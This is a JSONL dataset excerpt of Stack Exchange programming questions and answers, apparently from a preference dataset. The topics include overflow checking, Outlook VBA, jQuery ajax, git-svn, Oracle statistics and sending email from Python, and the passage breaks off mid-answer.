{"id": "hf_602b67aaf5be", "question": "<p>What is the single most effective practice to prevent <a href=\"http://en.wikipedia.org/wiki/Arithmetic_overflow\" rel=\"nofollow noreferrer\">arithmetic overflow</a> and <a href=\"http://en.wikipedia.org/wiki/Arithmetic_underflow\" rel=\"nofollow noreferrer\">underflow</a>?</p>\n\n<p>Some examples that come to mind are:</p>\n\n<ul>\n<li>testing based on valid input ranges</li>\n<li>validation using formal methods</li>\n<li>use of invariants</li>\n<li>detection at runtime using language features or libraries (this does not prevent it)</li>\n</ul>\n", "question_body": "", "answer": "One possibility is to use a language that has arbitrarily sized integers that never overflow / underflow.\nOtherwise, if this is something you're really concerned about, and if your language allows it, write a wrapper class that acts like an integer, but checks every operation for overflow.  You could even have it do the check on debug builds, and leave things optimized for release builds.  In a language like C++, you could do this, and it would behave almost exactly like an integer for release builds, but for debug builds you'd get full run-time checking.\n```\n```\nclass CheckedInt\n{\nprivate: \n    int Value;\n\npublic:\n    // Constructor\n    CheckedInt(int src) : Value(src) {}\n\n    // Conversions back to int\n    operator int&() { return Value; }\n    operator const int &() const { return Value; }\n\n    // Operators\n    CheckedInt operator+(CheckedInt rhs) const\n    {\n        if (rhs.Value < 0 && rhs.Value + Value > Value)\n            throw OverflowException();\n        if (rhs.Value > 0 && rhs.Value + Value < Value)\n            throw OverflowException();\n        return CheckedInt(rhs.Value + Value);\n    }\n\n    // Lots more operators...\n};\n```\n```\nEdit:\nTurns out someone is\ndoing this already for C++\n- the current implementation is focused for Visual Studio, but it looks like they're getting support for gcc as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.771656"}
{"id": "hf_21406f688268", "question": "<p>I have written a message handler function in Outlook's Visual Basic (we're using Outlook 2003 and Exchange Server) to help me sort out incoming email. </p>\n\n<p>It is working for me, except sometimes the rule fails and Outlook deactivates it. </p>\n\n<p>Then I turn the rule back on and manually run it on my Inbox to catch up. The rule spontaneously fails and deactivates several times a day. </p>\n\n<p>I would love to fix this once and for all.</p>\n", "question_body": "", "answer": "have written a message handler function in Outlook's Visual Basic (we're using Outlook 2003 and Exchange Server) to help me sort out incoming email. It is working for me, except sometimes the rule fails and Outlook deactivates it. Then I turn the rule back on and manually run it on my Inbox to catch up. The rule spontaneously fails and deactivates several times a day. I would love to fix this once and for all.\nHere is the code stripped of the functionality, but giving you an idea of how it looks:\n```\n```\nPublic WithEvents myOlItems As Outlook.Items\n\n   Public Sub Application_Startup()\n       ' Reference the items in the Inbox. Because myOlItems is declared\n       ' \"WithEvents\" the ItemAdd event will fire below.\n       ' Set myOlItems = Outlook.Session.GetDefaultFolder(olFolderInbox).Items\n       Set myOlItems = Application.GetNamespace(\"MAPI\").GetDefaultFolder(olFolderInbox).Items\n   End Sub\n\n   Private Sub myOlItems_ItemAdd(ByVal Item As Object)\n       On Error Resume Next\n       If TypeName(Item) = \"MailItem\" Then\n           MyMessageHandler Item\n       End If\n   End Sub\n\n   Public Sub MyMessageHandler(ByRef Item As MailItem)\n       Dim strSender As String\n       Dim strSubject As String\n\n       If TypeName(Item) <> \"MailItem\" Then\n           Exit Sub\n       End If\n\n       strSender = LCase(Item.SenderEmailAddress)\n       strSubject = Item.Subject\n\n       rem do stuff\n       rem do stuff\n       rem do stuff\n   End Sub\n```\n```\nOne error I get is \"Type Mismatch\" calling MyMessageHandler where VB complains that Item is not a MailItem. Okay, but TypeName(Item) returns \"MailItem\", so how come Item is not a MailItem?\nAnother one I get is where an email with an empty subject comes along. The line\n```\n```\nstrSubject = Item.Subject\n```\n```\ngives me an error. I know Item.Subject should be blank, but why is that an error?\nThanks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.796601"}
{"id": "hf_bd1c2569e2bf", "question": "<p>I have the following HTML <code>&lt;select&gt;</code> element:</p>\n\n<pre><code>&lt;select id=\"leaveCode\" name=\"leaveCode\"&gt;\n  &lt;option value=\"10\"&gt;Annual Leave&lt;/option&gt;\n  &lt;option value=\"11\"&gt;Medical Leave&lt;/option&gt;\n  &lt;option value=\"14\"&gt;Long Service&lt;/option&gt;\n  &lt;option value=\"17\"&gt;Leave Without Pay&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>Using a JavaScript function with the <code>leaveCode</code> number as a parameter, how do I select the appropriate option in the list?</p>\n", "question_body": "", "answer": "You can use this function:\n```\n```\nfunction selectElement(id, valueToSelect) {    \n    let element = document.getElementById(id);\n    element.value = valueToSelect;\n}\n\nselectElement('leaveCode', '11');\n```\n```\n```\n```\n<select id=\"leaveCode\" name=\"leaveCode\">\n  <option value=\"10\">Annual Leave</option>\n  <option value=\"11\">Medical Leave</option>\n  <option value=\"14\">Long Service</option>\n  <option value=\"17\">Leave Without Pay</option>\n</select>\n```\n```\nOptionally if you want to trigger onchange event also, you can use :\n```\n```\nelement.dispatchEvent(new Event('change'))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.822064"}
{"id": "hf_0592fb041c28", "question": "<p>I've written a control that inherits from the <code>System.Web.UI.WebControls.DropDownList</code> and so I don't have any code in front for this control, but I still want to set the OutputCache directive.  I there any way to set this in the C# code, say with an attribute or something like that?  </p>\n\n<p>I'm particularly hoping to be able to replicate the <code>VaryByParam</code> property</p>\n", "question_body": "", "answer": "```\n```\nResponse.Cache.SetExpires(DateTime.Now.AddSeconds(60));\nResponse.Cache.SetCacheability(HttpCacheability.Server);\nResponse.Cache.SetValidUntilExpires(true);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.846835"}
{"id": "hf_dd6ad3e2c1bf", "question": "<p>I have a web system which has a classical parent-children menu saved in a database, with fields id as the PK, and parent_id to pointing to the owning menu. (Yes, I know this doesn't scale very well, but that's another topic). </p>\n\n<p>So for these records (id-parent_id pairs):</p>\n\n<pre><code>0-7 0-4 4-9 4-14 4-16 9-6\n</code></pre>\n\n<p>I have this tree:</p>\n\n<pre><code>0\n├ 7\n└ 4\n  ├ 9\n  | └ 6     \n  ├ 14\n  └ 16\n</code></pre>\n\n<p>I'm needing to hide a top node, so I have to make a list of all the childrens of that certain node, i.e. for 4, they will be (9, 6, 14, 16). Order doesn't matters.</p>\n\n<p>I'm confused... does this fits into the classical tree problems? or is it a graph one?</p>\n\n<p>How can I compose this structure and solve this problem using php?</p>\n", "question_body": "", "answer": "This is the perfect chance to use recursion!\nPseudo-code:\n```\n```\nnodeList = {}\nenumerateNodes(rootNode, nodeList);\n\nfunction enumerateNodes(node, nodeList) {\n   nodeList += node;\n   foreach ( childnode in node.children ) {\n       enumerateNodes(childnode, nodeList);\n   }\n}\n```\n```\nEdit: Didn't notice that your tree is in the adjacent list format. I would probably just build that into an actual tree datastructure before I started working with it. Just loop through all pairs (creating nodes the first time you see them) and linking them. I\nthink\nit should be easy...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.931220"}
{"id": "hf_2d25609ec1a3", "question": "<p>Why does Leopard mangle some symbols with $non_lazy_ptr?  More importantly what is the best method to fix undefined symbol errors because a symbol has been mangled with $non_lazy_ptr?</p>\n", "question_body": "", "answer": "From:\nDeveloper Connection - Indirect Addressing\nIndirect addressing is the name of the code generation technique that allows symbols defined in one file to be referenced from another file, without requiring the referencing file to have explicit knowledge of the layout of the file that defines the symbol. Therefore, the defining file can be modified independently of the referencing file. Indirect addressing minimizes the number of locations that must be modified by the dynamic linker, which facilitates code sharing and improves performance.\nWhen a file uses data that is defined in another file, it creates symbol references. A symbol reference identifies the file from which a symbol is imported and the referenced symbol. There are two types of symbol references: nonlazy and lazy.\nNonlazy symbol references are resolved (bound to their definitions) by the dynamic linker when a module is loaded.\nA nonlazy symbol reference is essentially a symbol pointer—a pointer-sized piece of data. The compiler generates nonlazy symbol references for data symbols or function addresses.\nLazy symbol references are resolved by the dynamic linker the first time they are used (not at load time). Subsequent calls to the referenced symbol jump directly to the symbol’s definition.\nLazy symbol references are made up of a symbol pointer and a symbol stub, a small amount of code that directly dereferences and jumps through the symbol pointer. The compiler generates lazy symbol references when it encounters a call to a function defined in another file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.955411"}
{"id": "hf_88834a38dacc", "question": "<p>I read the Git manual, FAQ, Git - SVN crash course, etc. and they all explain this and that, but nowhere can you find a simple instruction like:</p>\n\n<p>SVN repository in: <code>svn://myserver/path/to/svn/repos</code></p>\n\n<p>Git repository in: <code>git://myserver/path/to/git/repos</code></p>\n\n<pre><code>git-do-the-magic-svn-import-with-history \\\nsvn://myserver/path/to/svn/repos \\\ngit://myserver/path/to/git/repos\n</code></pre>\n\n<p>I don't expect it to be that simple, and I don't expect it to be a single command. But I do expect it not to try to explain anything - just to say what steps to take given this example.</p>\n", "question_body": "", "answer": "Magic:\n```\n```\n$ git svn clone http://svn/repo/here/trunk\n```\n```\nGit and SVN operate very differently.  You need to learn Git, and if you want to track changes from SVN upstream, you need to learn\n```\ngit-svn\n```\n.  The\n```\ngit-svn\n```\nmain page has a good examples section\n:\n```\n```\n$ git svn --help\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.064128"}
{"id": "hf_3b7c3fe4c793", "question": "<p>For example, if I have a page located in Views/Home/Index.aspx and a JavaScript file located in Views/Home/Index.js, how do you reference this on the aspx page?</p>\n\n<p>The example below doesn't work even though the compiler says the path is correct</p>\n\n<pre><code>&lt;script src=\"Index.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>The exact same issue has been posted here in more detail:\n<a href=\"http://forums.asp.net/p/1319380/2619991.aspx\" rel=\"nofollow noreferrer\">http://forums.asp.net/p/1319380/2619991.aspx</a></p>\n\n<p>If this is not currently possible, will it be in the future? If not, how is everyone managing their javascript resources for large Asp.net MVC projects? Do you just create a folder structure in the Content folder that mirrors your View folder structure? YUCK!</p>\n", "question_body": "", "answer": "You can use the VirtualPathUtility.ToAbsolute method like below to convert the app relative url of the .js file to an absolute one that can be written to the page:\n```\n```\n<script type=\"text/javascript\" src=\"<%=VirtualPathUtility.ToAbsolute(\"~/Views/Home/Index.js\") %>\"></script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.117060"}
{"id": "hf_9e441442ef7c", "question": "<p>In your experience, how often should Oracle database statistics be run? Our team of developers recently discovered that statistics hadn't been run our production box in over 2 1/2 months. That sounds like a long time to me, but I'm not a DBA.</p>\n", "question_body": "", "answer": "Whenever the data changes \"significantly\".\nIf a table goes from 1 row to 200 rows, that's a significant change.  When a table goes from 100,000 rows to 150,000 rows, that's not a terribly significant change.  When a table goes from 1000 rows all with identical values in commonly-queried column X to 1000 rows with nearly unique values in column X, that's a significant change.\nStatistics store information about item counts and relative frequencies -- things that will let it \"guess\" at how many rows will match a given criteria.  When it guesses wrong, the optimizer can pick a\nvery\nsuboptimal query plan.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.141791"}
{"id": "hf_baad5790dfdf", "question": "<p>When working with tables in Oracle, how do you know when you are setting up a good index versus a bad index?</p>\n", "question_body": "", "answer": "Here's a great SQL Server article:\nhttp://www.sql-server-performance.com/tips/optimizing_indexes_general_p1.aspx\nAlthough the mechanics won't work on Oracle, the tips are very apropos (minus the thing on clustered indexes, which don't quite work the same way in Oracle).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.165830"}
{"id": "hf_362057725949", "question": "<p>What are the characteristics of a multitasking operating system?<br>\nWhat makes it multitasking?<br>\nAre there non-multitasking operating systems?</p>\n", "question_body": "", "answer": "A multi tasking operating systems is:\nAn operating system that gives you the perception of 2 or more tasks/jobs/processes running at the same time.  It does this by dividing system resources amongst these tasks/jobs/processes.  And switching between the tasks/jobs/processes while they are executing very fast over and over again.\nYes there are non multi tasking operating systems, example: commodore 64's OS (Commodore BASIC 2.0).  Probably some custom made software for some companies.  Perhaps like an ATM machine, or movie theater stub ticket system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.203563"}
{"id": "hf_5e678854c6e5", "question": "<p>Can databases (MySQL in particular, any SQL--MS, Oracle, Postgres--in general) do mass updates, and figure out on their own what the new value should be? Say for example I've got a database with information about a bunch of computers, and all of these computers have drives of various sizes--anywhere from 20 to 250 GB. Then one day we upgrade every single computer by adding a 120 GB hard drive. Is there a way to say something like</p>\n\n<pre><code>update computers set total_disk_space = (whatever that row's current total_disk_space is plus 120)\n</code></pre>\n", "question_body": "", "answer": "Yeah:\n```\n```\nupdate computers set total_disk_space = total_disk_space + 120;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.277961"}
{"id": "hf_0cbe04ffe8ce", "question": "<p>The documentation with the module itself is pretty thin, and just tends to point to MOP.</p>\n", "question_body": "", "answer": "First you should read through the\nManual\nif you haven't already. Then you can go on to read the\nCookbook\n.\nI think the docs are actually pretty good these days, as long as you read the right ones. You\nreally\nshouldn't bother looking at most of the docs for any class name starting with \"\n```\nMoose::Meta\n```\n\" unless you're interested in Moose's introspection features. I've tried to make this more obvious in the Moose.pm docs, which as of 0.57 tell you to read the\nManual\nand\nCookbook\nfirst.\nIf you're coming from a background of doing Perl 5 OO \"the old school way\", I'd also suggest taking a look at the\n```\nMoose::Manual::Unsweetened\n```\ndocument, which compares Moose to equivalent Perl 5 \"by hand\" code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.305255"}
{"id": "hf_0ceb38006637", "question": "<p>I have a method that can return either a single object or a collection of objects. I want to be able to run object.collect on the result of that method whether or not it is a single object or a collection already. How can i do this?</p>\n\n<pre><code>profiles = ProfileResource.search(params)\noutput = profiles.collect do | profile |\n    profile.to_hash\nend\n</code></pre>\n\n<p>If profiles is a single object, I get a NoMethodError exception when I try to execute collect on that object.</p>\n", "question_body": "", "answer": "```\n```\nprofiles = [ProfileResource.search(params)].flatten\noutput = profiles.collect do |profile|\n    profile.to_hash\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.341580"}
{"id": "hf_2135f72814cc", "question": "<p>In a multitasking operating system context, sometimes you hear the term round-robin scheduling. What does it refer to?<br>\nWhat other kind of scheduling is there?</p>\n", "question_body": "", "answer": "Round Robin Scheduling\nIf you are a host in a party of 100 guests, round-robin scheduling would mean that you spend 1 minute (a fixed amount) per guest. You go through each guest one-by-one, and after 100 minutes, you would have spent 1 minute with each guest. More on\nWikipedia\n.\nThere are many other types of scheduling, such as priority-based (i.e. most important people first), first-come-first-serve, earliest-deadline-first (i.e. person leaving earliest first), etc. You can start off by googling for scheduling algorithms or check out\nscheduling at Wikipedia", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.415009"}
{"id": "hf_b58dcab038c7", "question": "<p>What, at a minimum, should an application health-monitoring system do for you (the developer) and/or your boss (the IT Manager) and/or the operations (on-call) staff?</p>\n\n<p>What else should it do above the minimum requirements?</p>\n\n<p>Is monitoring the 'infrastructure' applications (ms-exchange, apache, etc.) sufficient or do individual user applications, web sites, and databases also need to be monitored?</p>\n\n<p>if the latter, what do you need to know about them?</p>\n\n<p>ADDENDUM: thanks for the input, i was really looking for application-level monitoring not infrastructure monitoring, but it is good to know about both</p>\n", "question_body": "", "answer": "Minimum: make sure it is running :)\nHowever, some other stuff would be very useful. For example, the CPU load, RAM usage and (in multiuser systems) which user is running what. Also, for applications that access network, a list of network connections for each app. And (if you have access to client computer(s)) it would be cool to be able to see the 'window title' of the app - maybe check each 2-3 minutes  if it changed and save it. Also, a list of files open by the application could be very useful, but it is not a must.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.439227"}
{"id": "hf_2ff6f2a3f828", "question": "<p>I'd like to write a simple C# application to monitor the line-in audio and give me the current (well, the rolling average) beats per minute.</p>\n\n<p>I've seen <a href=\"http://www.gamedev.net/page/resources/_/technical/math-and-physics/beat-detection-algorithms-r1952\" rel=\"noreferrer\">this gamedev article</a>, and that was absolutely no help. I went through and tried to implement what he was doing but it just wasn't working.</p>\n\n<p>I know there have to be tons of solutions for this, because lots of DJ software does it, but I'm not having any luck in finding any open-source library or instructions on doing it myself.</p>\n", "question_body": "", "answer": "This is by no means an easy problem. I'll try to give you an overview only.\nWhat you could do is something like the following:\nCompute the average (root-mean-square) loudness of the signal over blocks of, say, 5 milliseconds. (Having never done this before, I don't know what a good block size would be.)\nTake the Fourier transform of the \"blocked\" signal, using the FFT algorithm.\nFind the component in the transformed signal that has the largest magnitude.\nA Fourier transform is basically a way of computing the strength of all frequencies present in the signal. If you do that over the \"blocked\" signal, the frequency of the beat will hopefully be the strongest one.\nMaybe you need to apply a filter first, to focus on specific frequencies (like the bass) that usually contain the most information about the BPM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.487657"}
{"id": "hf_23ef1aa74c4f", "question": "<p>I have a <code>div</code> with two images and an <code>h1</code>. All of them need to be vertically aligned within the div, next to each other. One of the images needs to be <code>absolute</code> positioned within the <code>div</code>.</p>\n<p>What is the CSS needed for this to work on all common browsers?</p>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;div id=&quot;header&quot;&gt;\n  &lt;img src=&quot;..&quot; &gt;&lt;/img&gt;\n  &lt;h1&gt;testing...&lt;/h1&gt;\n  &lt;img src=&quot;...&quot;&gt;&lt;/img&gt;\n&lt;/div&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\n<div id=\"header\" style=\"display: table-cell; vertical-align:middle;\">\n```\n```\n...\nor CSS\n```\n```\n.someClass\n{\n   display: table-cell;\n   vertical-align:middle;\n}\n```\n```\nBrowser Coverage", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.548003"}
{"id": "hf_a5411c3b665c", "question": "<p>(sorry I should have been clearer with the code the first time I posted this. Hope this makes sense)</p>\n\n<p>File \"size_specification.rb\"</p>\n\n<pre><code>class SizeSpecification\n  def fits?     \n  end\nend\n</code></pre>\n\n<p>File \"some_module.rb\"</p>\n\n<pre><code>require 'size_specification'\n\nmodule SomeModule\n  def self.sizes\n    YAML.load_file(File.dirname(__FILE__) + '/size_specification_data.yml')\n  end\nend\n</code></pre>\n\n<p>File \"size_specification_data.yml</p>\n\n<pre><code>--- \n- !ruby/object:SizeSpecification \n  height: 250\n  width: 300\n</code></pre>\n\n<p>Then when I call</p>\n\n<pre><code>SomeModule.sizes.first.fits?\n</code></pre>\n\n<p>I get an exception because \"sizes\" are Object's not SizeSpecification's so they don't have a \"fits\" function.</p>\n", "question_body": "", "answer": "On second reading I'm a little confused, you seem to want to mix the class into module, which is porbably not so advisable.  Also is the YAML supposed to load an array of the SizeSpecifications?\nIt appears to be that you're not mixing the Module into your class.  If I run the test in irb then the require throws a LoadError. So I assume you've put two files together, if not dump it.\nNormally you'd write the functionality in the module, then mix that into the class.  so you may modify your code like this:\n```\n```\nclass SizeSpecification\n  include SomeModule\n  def fits?     \n  end\nend\n```\n```\nWhich will allow you to then say:\n```\n```\nSizeSpecification::SomeModule.sizes\n```\n```\nI think you should also be able to say:\n```\n```\nSizeSpecification.sizes\n```\n```\nHowever that requires you to take the self off the prefix of the sizes method definition.\nDoes that help?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.572020"}
{"id": "hf_b4562738505f", "question": "<p>What is the best method to transfer data from sales table to sales history table in sql server 2005. sales history table will be used for reporting.</p>\n", "question_body": "", "answer": "Bulkcopy is fast and it will not use the transaction log. One batch run at the end of the day.\nDeleting the copied records from your production server is a different situation that needs to be planed on that server's maintenance approach/plans. Your reporting server solution should not interfere with or affect the production server.\nKeep in mind that your reporting server is not meant to be a backup of the data but rather a copy made exclusively for reporting purposes.\nAlso check on the server settings of your reporting server to be on\nSimple recovery model\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.595950"}
{"id": "hf_00c6015afe7f", "question": "<p>I've set up Passenger in development (Mac OS X) and it works flawlessly. The only problem came later: now I have a custom <code>GEM_HOME</code> path and ImageMagick binaries installed in <code>\"/usr/local\"</code>. I can put them in one of the shell rc files that get sourced and this solves the environment variables for processes spawned from the console; but what about Passenger? The same application cannot find my gems when run this way.</p>\n", "question_body": "", "answer": "I've run into this issue as well.  It\nappears\nthat Passenger doesn't passthrough values set using the\n```\nSetEnv\n```\napache directive - which is unfortunate.\nPerhaps it might be possible to set environment variables in your environment.rb or boot.rb (assuming you're talking about a Rails app; I'm not familiar with Rack but presumably it has similar functionality)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.621078"}
{"id": "hf_03dae2d8a6b9", "question": "<p>I'm trying to replace some bespoke message queues with ActiveMQ, and I need to talk to them (a lot) from Perl.  ActiveMQ provides a Stomp interface and Perl has Net::Stomp, so this seems like it should be fine, but it's not.</p>\n\n<p>Even if I send a BEGIN command over Stomp, messages sent with SEND are immediately published, and if I ABORT the transaction, nothing happens.</p>\n\n<p>I can't find any clear answers suggesting that suggest it's not possible, that is is possible, or that there's a relevant bit of configuration.  Also, Stomp doesn't seem to be a great protocol for checking for error responses from the server.</p>\n\n<p>Am I out of luck?</p>\n", "question_body": "", "answer": "BTW the best place to ask Perl/ActiveMQ/Stomp questions is the\nActiveMQ user forum\nas lots of Perl-Stomp folks hang out there.\nThe trick with STOMP transactions is to make sure each message you send or each acknowledgement you make includes the transaction ID header. See the\ntransaction handling section of the STOMP protocol\n.\nThe reason for this is that with STOMP you could have many transactions taking place at the same time if your client is multi threaded - along with some non-transacted operations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.656318"}
{"id": "hf_43ffc3a68acd", "question": "<p>I want to use Apple's or RedHat's built-in Apache but I want to use Perl 5.10 and mod_perl.  What's the least intrusive way to accomplish this?  I want the advantage of free security patching for the vendor's Apache, dav, php, etc., but I care a lot about which version of Perl I use and what's in my @INC path.  I don't mind compiling my own mod_perl.</p>\n", "question_body": "", "answer": "You'll want to look into\nmod_so", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.691399"}
{"id": "hf_7cd0494f0937", "question": "<p>I have determined that my JSON, coming from the server, is valid (making the ajax call manually), but I would really like to use JQuery. I have also determined that the \"post\" URL, being sent to the server, is correct, using firebug. However, the error callback is still being triggered (parse error). I also tried datatype: text.</p>\n\n<p>Are there other options that I should include?</p>\n\n<pre><code>$(function() {\n    $(\"#submit\").bind(\"click\", function() {\n        $.ajax({\n            type: \"post\",\n            url: \"http://myServer/cgi-bin/broker\" ,\n            datatype: \"json\",\n            data: {'start' : start,'end' : end},\n            error: function(request,error){\n                alert(error);\n            },\n            success: function(request) {\n                alert(request.length);\n            }\n        }); // End ajax\n    }); // End bind\n}); // End eventlistener\n</code></pre>\n", "question_body": "", "answer": "Here are a few suggestions I would try:\n1) the 'datatype' option you have specified should be 'dataType' (case-sensitive I believe)\n2) try using the 'contentType' option as so:\n```\n```\ncontentType: \"application/json; charset=utf-8\"\n```\n```\nI'm not sure how much that will help as it's used in the request to your post url, not in the response.\nSee this article for more info:\nhttp://encosia.com/2008/06/05/3-mistakes-to-avoid-when-using-jquery-with-aspnet-ajax\n(It's written for asp.net, but may be applicable)\n3) Triple check the output of your post url and run the output through a JSON validator just to be absolutely sure it's valid and can be parsed into a JSON object.\nhttp://www.jsonlint.com\nHope some of this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.726800"}
{"id": "hf_5a0f25ad653c", "question": "<p>I'm considering Altova MapForce (or something similar) to produce either XSLT and/or a Java or C# class to do the translation. Today, we pull data right out of the database and manually build an XML string that we post to a webservice. </p>\n\n<p>Should it be db -> (internal)XML -> XSLT -> (External)XML? What do you folks do out there in the wide world?</p>\n", "question_body": "", "answer": "I would use one of the out-of-the-box XML serialization classes to do your internal XML generation, and then use XSLT to transform to the external XML.  You might generate a schema as well to enforce that the translation code (whatever will drive your XSLT translation) continues to get the XML it is expecting for translation in case of changes to the object breaks things.\nThere are a number of XSLT editors on the market that will help you do the mappings, but I prefer to just use a regular XML editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.856989"}
{"id": "hf_a9f5e5da1ebe", "question": "<p>I am writing a web application that requires user interaction via email.  I'm curious if there is a best practice or recommended source for learning about processing email.  I am writing my application in Python, but I'm not sure what mail server to use or how to format the message or subject line to account for automated processing.  I'm also looking for guidance on processing bouncebacks.  </p>\n", "question_body": "", "answer": "There are some pretty serious concerns here for how to send email automatically, and here are a few:\nUse an email library. Python includes one called 'email'. This is your friend, it will stop you from doing anything tragically wrong. Read an example from\nthe Python Manual\n.\nSome points that will stop you from getting blocked by spam filters:\nAlways send from a valid email address. You must be able to send email to this address and have it received (it can go into /dev/null after it's received, but it must be possible to /deliver/ there). This will stop spam filters that do Sender Address Verification from blocking your mail.\nThe email address you send from on the server.sendmail(fromaddr, [toaddr]) line will be where bounces go. The From: line in the email is a totally different address, and that's where mail will go when the user hits 'Reply:'. Use this to your advantage, bounces can go to one place, while reply goes to another.\nSend email to a local mail server, I recommend postfix. This local server will receive your mail and be responsible for sending it to your upstream server. Once it has been delivered to the local server, treat it as 'sent' from a programmatic point of view.\nIf you have a site that is on a static ip in a datacenter of good reputation, don't be afraid to simply relay the mail directly to the internet. If you're in a datacenter full of script kiddies and 